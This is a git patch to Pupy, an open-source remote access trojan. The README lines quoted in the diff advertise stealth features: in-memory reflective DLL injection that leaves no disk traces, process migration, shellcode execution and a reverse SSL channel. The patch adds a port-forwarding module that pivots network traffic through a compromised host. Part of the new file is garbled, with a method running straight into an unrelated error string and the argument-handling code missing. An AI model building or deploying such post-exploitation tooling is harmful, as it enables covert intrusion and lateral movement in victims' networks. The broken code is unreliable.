From 5f5e9f63c1b7860ebc71a699875bb2398728ebe5 Mon Sep 17 00:00:00 2001 From: n1nj4sec Date: Sat, 26 Sep 2015 13:33:42 +0200 Subject: [PATCH] local port forwarding module implemented ! --- README.md | 7 +- pupy/modules/portfwd.py | 171 ++++++++++++++++++++++++++++++++++++++++ 2 files changed, 175 insertions(+), 3 deletions(-) create mode 100644 pupy/modules/portfwd.py diff --git a/README.md b/README.md index c44ccc0b..9cdc9310 100644 --- a/README.md +++ b/README.md @@ -1,12 +1,12 @@ # Pupy -Pupy is an opensource RAT (Remote Administration Tool) written in Python. Pupy uses reflective dll injection and leaves no traces on disk. +Pupy is an opensource, multi-platform Remote Administration Tool written in Python. On Windows, Pupy uses reflective dll injection and leaves no traces on disk. ## Features : - On windows, the Pupy payload is compiled as a reflective DLL and the whole python interpreter is loaded from memory. Pupy does not touch the disk :) - Pupy can reflectively migrate into other processes - Pupy can remotely import, from memory, pure python packages (.py, .pyc) and compiled python C extensions (.pyd). The imported python modules do not touch the disk. (.pyd mem import currently work on Windows only, .so memory import is not implemented). - modules are quite simple to write and pupy is easily extensible. -- Pupy uses rpyc (https://github.com/tomerfiliba/rpyc) and a module can directly access python objects on the remote client +- Pupy uses [rpyc](https://github.com/tomerfiliba/rpyc) and a module can directly access python objects on the remote client - we can also access remote objects interactively from the pupy shell and even auto completion of remote attributes works ! - communication channel currently works as a ssl reverse connection, but a bind payload will be implemented in the future - all the non interactive modules can be dispatched on multiple hosts in one command @@ -26,6 +26,7 @@ Pupy is an opensource RAT (Remote Administration Tool) written in Python. Pupy u - download - upload - socks5 proxy +- local port forwarding - interactive shell (cmd.exe, /bin/sh, ...) - interactive python shell - shellcode exec (thanks to @byt3bl33d3r) @@ -122,7 +123,7 @@ Some ideas without any priority order - webcam snap - mic recording - socks5 udp support -- local/remote port forwarding +- remote port forwarding - perhaps write some documentation - ... - any cool idea ? diff --git a/pupy/modules/portfwd.py b/pupy/modules/portfwd.py new file mode 100644 index 00000000..7a2544f2 --- /dev/null +++ b/pupy/modules/portfwd.py @@ -0,0 +1,171 @@ +# -*- coding: UTF8 -*- +# -------------------------------------------------------------- +# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu) +# All rights reserved. +# +# Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: +# +# 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. +# +# 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. +# +# 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. +# +# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE +# -------------------------------------------------------------- + +from pupylib.PupyModule import * +import StringIO +import pupylib.utils +import SocketServer +import threading +import socket +import logging +import struct +import traceback +import time + +__class_name__="PortFwdModule" + + +class SocketPiper(threading.Thread): + def __init__(self, read_sock, write_sock): + threading.Thread.__init__(self) + self.daemon=True + self.read_sock=read_sock + self.write_sock=write_sock + def run(self): + try: + self.read_sock.setblocking(0) + while True: + data="" + try: + data+=self.read_sock.recv(1000000) + if not data: + break + except Exception as e: + if e[0]==9:#errno connection closed + break + if not data: + time.sleep(0.05) + continue + self.write_sock.sendall(data) + except Exception as e: + logging.debug("error in socket piper: %s"%str(traceback.format_exc())) + finally: + try: + self.write_sock.shutdown(socket.SHUT_RDWR) + self.write_sock.close() + except Exception: + pass + try: + self.read_sock.shutdown(socket.SHUT_RDWR) + self.read_sock.close() + except Exception: + pass + logging.debug("piper finished") + +class LocalPortFwdRequestHandler(SocketServer.BaseRequestHandler): + def handle(self): + DST_ADDR, DST_PORT=self.server.remote_address + logging.debug("forwarding local addr %s to remote %s "%(self.server.server_address, self.server.remote_address)) + rsocket_mod=self.server.rpyc_client.conn.modules.socket + rsocket=rsocket_mod.socket(rsocket_mod.AF_INET, rsocket_mod.SOCK_STREAM) + rsocket.settimeout(5) + try: + rsocket.connect((DST_ADDR, DST_PORT)) + except Exception as e: + logging.debug("error: %s"%e) + if e[0]==10060: + logging.debug("unreachable !") + self.request.shutdown(socket.SHUT_RDWR) + self.request.close() + return + logging.debug("connection succeeded !") + sp1=SocketPiper(self.request, rsocket) + sp2=SocketPiper(rsocket, self.request) + sp1.start() + sp2.start() + sp1.join() + sp2.join() + logging.debug("conn to %s:%s closed"%(DST_ADDR,DST_PORT)) + +class LocalPortFwdServer(SocketServer.TCPServer): + allow_reuse_address = True + def __init__(self, server_address, RequestHandlerClass, bind_and_activate=True, rpyc_client=None, remote_address=None): + self.rpyc_client=rpyc_client + self.remote_address=remote_address + SocketServer.TCPServer.__init__(self, server_address, RequestHandlerClass, bind_and_activate) + +class ThreadedLocalPortFwdServer(SocketServer.ThreadingMixIn, LocalPortFwdServer): + def __str__(self): + return "]:::") + return + try: + local_port=int(local_port) + remote_port=int(remote_port) + except Exception: + self.error("ports must be integers") + return + server = ThreadedLocalPortFwdServer((local_addr, local_port), LocalPortFwdRequestHandler, rpyc_client=self.client, remote_address=(remote_addr, remote_port)) + self.portfwd_dic[self.current_id]=server + self.current_id+=1 + t=threading.Thread(target=server.serve_forever) + t.daemon=True + t.start() + self.success("LOCAL %s:%s forwarded to REMOTE %s:%s"%(local_addr, local_port, remote_addr, remote_port)) + elif args.remote: + #TODO remote port fwd + raise NotImplementedError("remote port forwarding is not implemented yet") + elif args.kill: + if args.kill in self.portfwd_dic: + desc=str(self.portfwd_dic[args.kill]) + self.portfwd_dic[args.kill].shutdown() + del self.portfwd_dic[args.kill] + self.success("%s stopped !"%desc) + else: + self.error("no such id: %s"%args.kill) + + else: + if not self.portfwd_dic: + self.error("There are currently no ports forwarded on %s"%self.client) + else: + for cid, server in self.portfwd_dic.iteritems(): + self.success("%s : %s"%(cid, server)) + +